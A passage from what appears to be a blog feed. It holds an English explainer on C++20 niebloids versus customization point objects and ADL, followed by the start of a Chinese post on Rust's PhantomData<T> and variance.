&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;quuxplusone.github.io&#x2F;blog&#x2F;2021&#x2F;12&#x2F;07&#x2F;namespace-cpo&#x2F;&quot;&gt;A note on namespace __cpo – Arthur O’Dwyer&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.open-std.org&#x2F;jtc1&#x2F;sc22&#x2F;wg21&#x2F;docs&#x2F;papers&#x2F;2015&#x2F;n4381.html&quot;&gt;Suggested Design for Customization Points – ISOCPP&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.open-std.org&#x2F;jtc1&#x2F;sc22&#x2F;wg21&#x2F;docs&#x2F;papers&#x2F;2019&#x2F;p1895r0.pdf&quot;&gt;tag_invoke: A general pattern for supporting customisable functions – ISOCPP&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;niebloids-and-customization-point-objects&quot;&gt;Niebloids and Customization Point Objects&lt;&#x2F;h2&gt;
&lt;p&gt;C++20 Ranges bring with them several new ideas by way of solving a lot of different problems.&lt;&#x2F;p&gt;
&lt;p&gt;Two of the new terms in Ranges, &lt;em&gt;niebloids&lt;&#x2F;em&gt; and &lt;em&gt;customization point objects&lt;&#x2F;em&gt; (or CPOs), are very frequently confused and used interchangeably. This confusion is pretty understandable (the two are pretty similar, and we don’t even have a language mechanism to implement them differently so the fact that they are different at all is more specification handwaviness than actual implementation difference), but the two exist to solve different problems and apply to different parts of the library.&lt;&#x2F;p&gt;
&lt;p&gt;I wanted to take the time here to elaborate on the differences and hopefully alleviate some confusion.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;customization-point-objects-solve-customization-dispatch&quot;&gt;Customization Point Objects Solve Customization Dispatch&lt;&#x2F;h3&gt;
&lt;p&gt;There are a few problems in the ADL-based customization point space.&lt;&#x2F;p&gt;
&lt;p&gt;First, we have this problem where if you want to &lt;code&gt;swap&lt;&#x2F;code&gt; two objects, there is a very specific incantation you have to use:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&amp;#x2F;&amp;#x2F; wrong, might not even find a candidate
swap(a, b);

&amp;#x2F;&amp;#x2F; wrong, might not find customization point
std::swap(a, b);

&amp;#x2F;&amp;#x2F; correct, but painful
using std::swap; swap(a, b);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;What customization point objects do is wrap the customization dispatch in a single object. So that you don’t have to do any of this:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&amp;#x2F;&amp;#x2F; correct
std::ranges::swap(a, b);

&amp;#x2F;&amp;#x2F; same thing, just as correct
using namespace std::ranges;
swap(a, b);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A second problem with the two step isn’t just that it’s Yet Another C++ Incantation. If ADL lookup finds a user-provided function, that function gets called and that’s that. We don’t have the ability to actually &lt;em&gt;check&lt;&#x2F;em&gt; that the user-provided function is correct. What if the user provided &lt;code&gt;begin(e)&lt;&#x2F;code&gt; but that’s actually a &lt;code&gt;void&lt;&#x2F;code&gt; function that starts some execution context and has nothing to do with ranges at all? We don’t want to pick that up! Customization point objects also allow you to impose constraints checking in all cases.&lt;&#x2F;p&gt;
&lt;p&gt;In the standard library, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;eel.is&#x2F;c++draft&#x2F;customization.point.object#def:customization_point_object&quot;&gt;customization point object&lt;&#x2F;a&gt; is a specific term of art that is a semiregular, function object that is const-invocable. And the standard library has a whole bunch of them in the &lt;code&gt;std::ranges&lt;&#x2F;code&gt; namespace (&lt;code&gt;begin&lt;&#x2F;code&gt;, &lt;code&gt;end&lt;&#x2F;code&gt;, &lt;code&gt;swap&lt;&#x2F;code&gt;, etc.) but even a few in plain old &lt;code&gt;std&lt;&#x2F;code&gt; (e.g. &lt;code&gt;strong_order&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;One bonus point of confusion here: customization point objects aren’t always customizeable! For instance, &lt;code&gt;std::ranges::cbegin&lt;&#x2F;code&gt; has no customization point &lt;code&gt;cbegin&lt;&#x2F;code&gt; that it tries to invoke; it only ever calls &lt;code&gt;begin&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;For more, see &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.open-std.org&#x2F;jtc1&#x2F;sc22&#x2F;wg21&#x2F;docs&#x2F;papers&#x2F;2015&#x2F;n4381.html&quot;&gt;N4381&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;niebloids-solve-undesired-adl&quot;&gt;Niebloids solve undesired ADL&lt;&#x2F;h3&gt;
&lt;p&gt;While the term “customization point object” appears in the standard, the term “niebloid” does not. Instead, we have &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;eel.is&#x2F;c++draft&#x2F;algorithms#requirements-2&quot;&gt;this text&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The entities defined in the std::ranges namespace in this Clause are not found by argument-dependent name lookup ([basic.lookup.argdep]). When found by unqualified ([basic.lookup.unqual]) name lookup for the postfix-expression in a function call ([expr.call]), they inhibit argument-dependent name lookup.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;The problem here is completely unrelated to the problem that we need customization point objects for. Let’s take one of the simpler algorithms, &lt;code&gt;std::copy&lt;&#x2F;code&gt;. For C++98 through C++17, we had this overload (I’m ignoring the parallel one):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;template&amp;lt;class InputIterator, class OutputIterator&amp;gt;
constexpr OutputIterator copy(InputIterator first, InputIterator last,
                              OutputIterator result);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Easy, familiar. But consider the return type. &lt;code&gt;copy&lt;&#x2F;code&gt; by definition has to go through the entire input range, yet it doesn’t return the end &lt;em&gt;input&lt;&#x2F;em&gt; iterator, only the new &lt;em&gt;output&lt;&#x2F;em&gt; iterator. This is okay in C++17 where we have iterator pairs, since you already by definition have the end input iterator. But once C++20 comes around, we might not actually have the end input iterator, we might only have a sentinel. For example:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;struct zstring_sentinel {
    bool operator==(char const* p) const {
        return *p == &amp;#x27;\0&amp;#x27;;
    }
};

void copy_string(char const* src, char* dst) {
    std::ranges::copy(some_ptr, zstring_sentinel{}, dst);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This works fine. In the process of copying this null-terminated string, we also do find the null terminator. But then we throw it away, even though that would be useful information that took work to compute! This is why the C++20 ranges overloads look different:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;  namespace ranges {
    &amp;#x2F;&amp;#x2F; basically a pair
    template&amp;lt;class I, class O&amp;gt;
      using copy_result = in_out_result&amp;lt;I, O&amp;gt;;

    template&amp;lt;input_iterator I, sentinel_for&amp;lt;I&amp;gt; S, weakly_incrementable O&amp;gt;
      requires indirectly_copyable&amp;lt;I, O&amp;gt;
      constexpr copy_result&amp;lt;I, O&amp;gt;
        copy(I first, S last, O result);

    template&amp;lt;input_range R, weakly_incrementable O&amp;gt;
      requires indirectly_copyable&amp;lt;iterator_t&amp;lt;R&amp;gt;, O&amp;gt;
      constexpr copy_result&amp;lt;borrowed_iterator_t&amp;lt;R&amp;gt;, O&amp;gt;
        copy(R&amp;amp;&amp;amp; r, O result);
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is a pretty nice improvement, allowing us to both copy and find the end input iterator in one go. But we have this problem, what happens when we do:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;using namespace std::ranges;

copy(first, last, result);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which overload gets called? If none of &lt;code&gt;first&lt;&#x2F;code&gt;, &lt;code&gt;last&lt;&#x2F;code&gt;, or &lt;code&gt;result&lt;&#x2F;code&gt; have &lt;code&gt;std&lt;&#x2F;code&gt; as an associated namespace, then this is easy: we only have one possible candidate anyway (well, I guess two if you include the &lt;code&gt;std::ranges::copy&lt;&#x2F;code&gt; overload that takes a range, but it only takes two parameters, so it’s no kind of viable).&lt;&#x2F;p&gt;
&lt;p&gt;However, what happens if we &lt;em&gt;do&lt;&#x2F;em&gt; have &lt;code&gt;std&lt;&#x2F;code&gt; as an associated namespace? Now things get a little trickier. If &lt;code&gt;first&lt;&#x2F;code&gt; and &lt;code&gt;last&lt;&#x2F;code&gt; have different types, then &lt;code&gt;std::copy&lt;&#x2F;code&gt; couldn’t be a viable candidate, so we’d still call &lt;code&gt;std::ranges::copy&lt;&#x2F;code&gt;. But if &lt;code&gt;first&lt;&#x2F;code&gt; and &lt;code&gt;last&lt;&#x2F;code&gt; have the &lt;em&gt;same&lt;&#x2F;em&gt; type (i.e. this is “common” range), then we would call &lt;code&gt;std::copy&lt;&#x2F;code&gt;! Because it’s more specialized!&lt;&#x2F;p&gt;
&lt;p&gt;This is easier to see if strip some information and put them closer together:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;template &amp;lt;typename T&amp;gt;
void f(T, T); &amp;#x2F;&amp;#x2F; approximately std::copy

template &amp;lt;typename T, typename U&amp;gt;
    requires something&amp;lt;T, U&amp;gt;
void f(T, U); &amp;#x2F;&amp;#x2F; approximately std::ranges::copy
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;“More specialized” as a tiebreaker precedes “more constrained”.&lt;&#x2F;p&gt;
&lt;p&gt;The consequence of this is that seemingly innocuous code like:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;template &amp;lt;typename R&amp;gt;
void f(R&amp;amp;&amp;amp; r) {
    using namespace std::ranges;

    &amp;#x2F;&amp;#x2F; intent is to use std::ranges::copy
    auto [i, o] = copy(r.begin(), r.end(), somewhere);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;May or may not compile. Moreover, if &lt;code&gt;r&lt;&#x2F;code&gt; is a type as exotic as &lt;code&gt;std::vector&amp;lt;int&amp;gt;&lt;&#x2F;code&gt;, then whether or not the above works is entirely implementation-defined. If &lt;code&gt;std::vector&amp;lt;int&amp;gt;::iterator&lt;&#x2F;code&gt; is &lt;code&gt;int*&lt;&#x2F;code&gt; (entirely allowed), then the above is fine (ADL wouldn’t find &lt;code&gt;std::copy&lt;&#x2F;code&gt;). But if &lt;code&gt;std::vector&amp;lt;int&amp;gt;::iterator&lt;&#x2F;code&gt; is, say, &lt;code&gt;__gnu_cxx::__normal_iterator&amp;lt;int*, std::vector&amp;lt;int&amp;gt; &amp;gt;&lt;&#x2F;code&gt; (as it is in libstdc++), then the above is broken.&lt;&#x2F;p&gt;
&lt;p&gt;This is quite bad.&lt;&#x2F;p&gt;
&lt;p&gt;We definitely want to ensure that whenever this works:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std::ranges::some_algo(first, last, args...);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That this also works &lt;em&gt;and does the same thing&lt;&#x2F;em&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;using namespace std::ranges;
some_algo(first, last, args...);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Unfortunately, if we implemented &lt;code&gt;std::ranges::copy&lt;&#x2F;code&gt; as two overloaded function templates, we could not stop this from happening. We’re, basically, doomed. While this is especially bad for &lt;code&gt;copy&lt;&#x2F;code&gt; where the return type changes, it’s also not ideal for algorithms like &lt;code&gt;find&lt;&#x2F;code&gt; or &lt;code&gt;any_of&lt;&#x2F;code&gt; where even though the return type is the same, it’s still surprising that the two formulations can call different functions entirely.&lt;&#x2F;p&gt;
&lt;p&gt;However, ADL only kicks in if the initial unqualified lookup either found nothing or found functions or function templates. If unqualified look finds an &lt;em&gt;object&lt;&#x2F;em&gt;, no ADL happens. So if instead of declaring:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;namespace ranges {
    template&amp;lt;input_iterator I, sentinel_for&amp;lt;I&amp;gt; S, weakly_incrementable O&amp;gt;
      requires indirectly_copyable&amp;lt;I, O&amp;gt;
      constexpr copy_result&amp;lt;I, O&amp;gt;
        copy(I first, S last, O result);

    template&amp;lt;input_range R, weakly_incrementable O&amp;gt;
      requires indirectly_copyable&amp;lt;iterator_t&amp;lt;R&amp;gt;, O&amp;gt;
      constexpr copy_result&amp;lt;borrowed_iterator_t&amp;lt;R&amp;gt;, O&amp;gt;
        copy(R&amp;amp;&amp;amp; r, O result);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;we declared:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;namespace ranges {
    struct copy_fn {
        template&amp;lt;input_iterator I, sentinel_for&amp;lt;I&amp;gt; S, weakly_incrementable O&amp;gt;
            requires indirectly_copyable&amp;lt;I, O&amp;gt;
        constexpr copy_result&amp;lt;I, O&amp;gt;
            operator()(I first, S last, O result) const;

        template&amp;lt;input_range R, weakly_incrementable O&amp;gt;
            requires indirectly_copyable&amp;lt;iterator_t&amp;lt;R&amp;gt;, O&amp;gt;
        constexpr copy_result&amp;lt;borrowed_iterator_t&amp;lt;R&amp;gt;, O&amp;gt;
            operator()(R&amp;amp;&amp;amp; r, O result) const;
    };

    inline constexpr copy_fn copy{};
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then we have no problem. &lt;code&gt;std::ranges::copy&lt;&#x2F;code&gt; and &lt;code&gt;using namespace std::ranges; copy&lt;&#x2F;code&gt; both find that object and lookup stops. Problem solved.&lt;&#x2F;p&gt;
&lt;p&gt;But… we don’t want to specify algorithms as overload function call operators. We want to specify algorithms as, well, algorithms. As functions. So we insert this wording about how magically all of these functions inhibit ADL, so that we can have sane specification. Even though our &lt;em&gt;only&lt;&#x2F;em&gt; current language mechanism for living up to this specification is to make them objects.&lt;&#x2F;p&gt;
&lt;p&gt;And indeed, the &lt;code&gt;ranges::copy&lt;&#x2F;code&gt; I wrote there meets the criteria for a &lt;em&gt;customization point object&lt;&#x2F;em&gt;. It’s just… not actually a customization point object, because we just don’t want to call it an object. We want to call it a function.&lt;&#x2F;p&gt;
&lt;p&gt;So it became a niebloid.&lt;&#x2F;p&gt;
&lt;p&gt;It’s possible that a future language feature might come around that would allow us to explicitly opt functions and functions templates out of ADL. This would allow an implementation strategy like:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;namespace ranges {
    template&amp;lt;input_iterator I, sentinel_for&amp;lt;I&amp;gt; S, weakly_incrementable O&amp;gt;
        requires indirectly_copyable&amp;lt;I, O&amp;gt;
      no_adl constexpr copy_result&amp;lt;I, O&amp;gt;
        copy(I first, S last, O result);

    template&amp;lt;input_range R, weakly_incrementable O&amp;gt;
        requires indirectly_copyable&amp;lt;iterator_t&amp;lt;R&amp;gt;, O&amp;gt;
      no_adl constexpr copy_result&amp;lt;borrowed_iterator_t&amp;lt;R&amp;gt;, O&amp;gt;
        copy(R&amp;amp;&amp;amp; r, O result);
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For instance, Matt Calabrese’s &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.open-std.org&#x2F;jtc1&#x2F;sc22&#x2F;wg21&#x2F;docs&#x2F;papers&#x2F;2018&#x2F;p1292r0.html&quot;&gt;Customization Point Functions&lt;&#x2F;a&gt; proposal would allow you to declare a function &lt;code&gt;final&lt;&#x2F;code&gt; to get this desired ADL-inhibiting behavior.&lt;&#x2F;p&gt;
&lt;p&gt;And the specification is written in a way to allow such future language evolution without having to change anything. Indeed, it is within the implementation purview today for GCC to do something like add a &lt;code&gt;__gcc_no_adl&lt;&#x2F;code&gt; specifier that itself magically inhibits ADL and ends up with &lt;code&gt;std::ranges::copy&lt;&#x2F;code&gt; not being an object (although they do not do that today). Which means that while:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;auto f = std::ranges::begin;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;is specified to be valid code, the same is not true for:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;auto g = std::ranges::copy;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Because &lt;code&gt;std::ranges::copy&lt;&#x2F;code&gt; need not actually be an object (though, again, that’s the only standard implementation strategy) and even if it were an object, it need not actually be copyable.&lt;&#x2F;p&gt;
&lt;p&gt;See also &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ericniebler&#x2F;stl2&#x2F;issues&#x2F;371&quot;&gt;STL2 Issue #371&lt;&#x2F;a&gt;. I thought I had read about this in a paper or blog at some point, but I can’t seem to find one at the moment.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;niebloids-vs-customization-point-objects&quot;&gt;Niebloids vs Customization Point Objects&lt;&#x2F;h3&gt;
&lt;p&gt;In short:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;a &lt;em&gt;customization point object&lt;&#x2F;em&gt; is a semiregular, function object (by definition) that exists to handle constrained ADL dispatch for you. &lt;code&gt;ranges::begin&lt;&#x2F;code&gt;, &lt;code&gt;ranges::swap&lt;&#x2F;code&gt;, etc, are customization point objects.&lt;&#x2F;li&gt;
&lt;li&gt;a &lt;em&gt;niebloid&lt;&#x2F;em&gt; is a colloquial name for the algorithms declared in &lt;code&gt;std::ranges&lt;&#x2F;code&gt; that inhibit ADL. The only implementation strategy in standard C++20 for them is to make them function objects, but they are not required to be objects at all (nor are they required to be copyable, etc.) and a possible future language extension would allow them to be implemented as proper function templates.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;These terms are completely disjoint - they refer to different parts of the library and exist as solutions to different problems. A niebloid is not a customization point object (nor even required to be an object), a customization point object is not a niebloid (although, since it is an object, it does also inhibit ADL).&lt;&#x2F;p&gt;
&lt;p&gt;The More You Know.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Rust生命周期集大成者 PhantomData&lt;T&gt;</title>
        <published>2024-03-13T00:00:00+00:00</published>
        <updated>2024-03-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/rust生命周期集大成者-phantomdata-t/"/>
        <id>https://vercel.juzhong.asia/obsidian/rust生命周期集大成者-phantomdata-t/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/rust生命周期集大成者-phantomdata-t/">&lt;h1 id=&quot;rustsheng-ming-zhou-qi-ji-da-cheng-zhe-phantomdata&quot;&gt;Rust生命周期集大成者 PhantomData&lt;T&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;在Rust中PhantomData出现次数不算稀有，本来以为只是一个简单的占位结构体，没想到越深入越难懂，花了好几天时间才稍稍理解一点。因为我没有任何PL的学术背景(其实是没有任何学术背景，一个小小本科学历)，所以只能从语法规则上尝试理解，如果有错误欢迎大家指出，要是有学术大佬能高屋建瓴地阐述PhantomData的理念和作用就更好了~&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;阅读前置要求: 对Rust有基本了解，懂生命周期长短的比较，懂协变，逆变规则&lt;&#x2F;strong&gt;&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_1&quot;&gt;[1]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; 。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0-variance-2&quot;&gt;0. &lt;strong&gt;Variance&lt;&#x2F;strong&gt;&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_2&quot;&gt;[2]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Variance is a property that generic types have with respect to their arguments.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;默认大家都懂什么是&lt;em&gt;covariant, contravariant&lt;&#x2F;em&gt; 和 &lt;em&gt;invariant，&lt;&#x2F;em&gt; 这里就不详细解释了。简单回顾，就是讨论在类型 &lt;code&gt;T1&lt;&#x2F;code&gt; 是 &lt;code&gt;T2&lt;&#x2F;code&gt; 的子类型的情况下，带类型参数的类型(generic type) &lt;code&gt;SomeType&amp;lt;T1&amp;gt;&lt;&#x2F;code&gt; 是不是 &lt;code&gt;SomeType&amp;lt;T1&amp;gt;&lt;&#x2F;code&gt; 的子类型。&lt;&#x2F;p&gt;
&lt;p&gt;比如假设 &lt;code&gt;T1&lt;&#x2F;code&gt; 是&lt;code&gt;Dog&lt;&#x2F;code&gt; 类型，&lt;code&gt;T2&lt;&#x2F;code&gt; 是 &lt;code&gt;Animal&lt;&#x2F;code&gt; 类型，&lt;code&gt;Dog&lt;&#x2F;code&gt; 是 &lt;code&gt;Animal&lt;&#x2F;code&gt; 的子类型(subtyping)。那么&lt;code&gt;Array&amp;lt;Animal&amp;gt;&lt;&#x2F;code&gt; 还是不是 &lt;code&gt;Array&amp;lt;Animal&amp;gt;&lt;&#x2F;code&gt; 的子类型呢？这里的&lt;code&gt;Array&amp;lt;Animal&amp;gt;&lt;&#x2F;code&gt;类型就是上面的&lt;code&gt;SomeType&amp;lt;T1&amp;gt;&lt;&#x2F;code&gt; 的一个例子。至于&lt;code&gt;Array&amp;lt;Animal&amp;gt;&lt;&#x2F;code&gt;到底是不是&lt;code&gt;Array&amp;lt;Animal&amp;gt;&lt;&#x2F;code&gt; 的子类型呢，这个只和 &lt;code&gt;Array&amp;lt;Animal&amp;gt;&lt;&#x2F;code&gt; 自己的性质有关 ，这个性质就是Variance。&lt;&#x2F;p&gt;
&lt;p&gt;但是Rust中让初学者很迷惑的一点是，Rust的类型不像Java&#x2F;C++ 一样可以继承父类型，又哪里来的子类型呢？实际上，Rust有两种类型参数，一种是lifetime parameter，一种是type parameter(可以类比Java中的类型参数)。lifetime parameter是有子类型的，具体规则可以看死灵书 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;doc.rust-lang.org&#x2F;nomicon&#x2F;subtyping.html&quot;&gt;Subtyping and Variance&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;PhantomData在2014年12月出现在RFC-0738提案&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_3&quot;&gt;[3]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; 中，也就是很久很久以前。那个时候，Rust允许这样的语法&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct Animal&amp;lt;T&amp;gt; {
    age: i32,
}

struct Item&amp;lt;&amp;#x27;a&amp;gt; {

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看出来问题了吗？ &lt;code&gt;T&lt;&#x2F;code&gt; 或者 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 都没有出现在 结构体定义中，这样会导致编译器有理由认为Animal&amp;lt;Dog&amp;gt; 和 Animal&amp;lt;Car&amp;gt; 是可以互换的，毕竟 Animal 本身并没有真的使用 Dog 或者 Car，那它们不就是一样的吗？但是这种规则明显没有意义且可能出错，Dog 和 Car 类型之间没有任何联系，自然不能把 Animal&amp;lt;Dog&amp;gt; 看成和 Animal&amp;lt;Car&amp;gt; 一样是可以互换使用的类型。但是在Rust早期，对于没有实际用到的生命周期参数，Rust确实是这么处理的，也造成了很多错误。&lt;&#x2F;p&gt;
&lt;p&gt;于是在这个RFC中，提议: &lt;strong&gt;make it an error to have a type or lifetime parameter whose variance is not constrained.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着提出程序员消除这个错误的方法要么是直接删去没有使用的类型参数，要么是插入一个Marker Type，也就是本文讨论的PhantomData。&lt;&#x2F;p&gt;
&lt;p&gt;但是注意，&lt;strong&gt;提议原话说的的是variance is not constrained，并不仅仅是 type or lifetime parameters are not used in the body of the type&lt;&#x2F;strong&gt;。因此当我们用PhantomData&lt;T&gt;来假装使用T的时候，还要考虑T的variance property！而不只是简单插入了一个占位 T 的成员属性。这也是为什么，我们不仅会看见有最常见的&lt;code&gt;PhantomData&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;比如像下面这种:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct CovariantStruct&amp;lt;T&amp;gt; {
     _field: PhantomData&amp;lt;T&amp;gt;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也可能看见&lt;code&gt;PhantomData&amp;lt;*mut T&amp;gt;&lt;&#x2F;code&gt;，比如下面&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct InvariantStruct&amp;lt;T&amp;gt; {
     _field: PhantomData&amp;lt;*mut T&amp;gt;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;虽然是在结构体中使用了PhantomData，但一个在 T 上是 covariant的，另一个在 T 上是invariant的，结构体关于 T 的variance property就是由PhantomData控制的。&lt;&#x2F;p&gt;
&lt;p&gt;实际上，在这个提案提出 PhantomData 之前，Rust有&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;InvariantType&lt;T&gt;&lt;&#x2F;li&gt;
&lt;li&gt;ContravariantType&lt;T&gt;&lt;&#x2F;li&gt;
&lt;li&gt;CovariantType&lt;T&gt;&lt;&#x2F;li&gt;
&lt;li&gt;InvariantLifetime&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;li&gt;
&lt;li&gt;ContravariantLifetime&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;li&gt;
&lt;li&gt;CovariantLifetime&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
